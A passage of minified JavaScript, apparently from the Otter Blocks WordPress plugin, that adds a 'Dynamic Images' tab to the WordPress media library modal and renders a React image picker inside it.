e{constructor(e){super(e),window.otterCurrentMediaProps=e}};(0,m.addFilter)("editor.MediaUpload","themeisle-blocks/dynamic-content/media-library",e),jQuery(document).ready((function(e){const t=wp.media.view.MediaFrame.Select;wp.media.view.MediaFrame.Select=t.extend({browseRouter(e){t.prototype.browseRouter.apply(this,arguments),(0,c.select)("core/block-editor").getSelectedBlock()&&e.set({otterDynamicImages:{text:(0,s.__)("Dynamic Images","otter-blocks"),priority:60}})},bindHandlers(){t.prototype.bindHandlers.apply(this,arguments),wp.data.select("core/block-editor").getSelectedBlock()&&this.on("content:create:otterDynamicImages",this.otterDynamicImages,this)},otterDynamicImages(){const e=this.state();e&&(X=e.id,z=e.frame.el),J=this,window.omodal=this},getFrame(e){return this.states.findWhere({id:e})}});const o=()=>{if(!z)return!1;const e=z.querySelector(".media-frame-content");if(!e)return!1;e.innerHTML="",e.appendChild(l());const t=e.querySelector("#otter-media-router-"+X);if(!t)return!1;a(t)},l=()=>{const e=document.createElement("div");e.classList.add("o-media-container");const t=document.createElement("div");t.classList.add("media-frame-content","o-media-wrapper");const o=document.createElement("div");return o.setAttribute("id","otter-media-router-"+X),t.appendChild(o),e.appendChild(t),e},a=e=>{const t=J.state(),o=t.get("selection");(0,d.createRoot)(e).render((0,h.jsx)(K,{state:t,onSelectImage:({id:e,url:t})=>{if(o?._single?.attributes?.url===t)return o.reset();o.add({id:e,url:t,alt:"",media_type:"image",width:500})}}))};wp.media.view.Modal.prototype.on("open",(()=>{if(!z)return!1;const e=z.querySelector(".media-router button.media-menu-item.active");e&&"menu-item-otterDynamicImages"===e.id&&o()})),e(document).on("click",".media-router button.media-menu-item",(()=>{if(!z)return;const e=z.querySelector(".media-router button.media-menu-item.active");e&&"menu-item-otterDynamicImages"===e.id&&o()}))}))}const{Slot:Z,Fill:ee}=(0,l.createSlotFill)("OtterDynamicContent")}}]);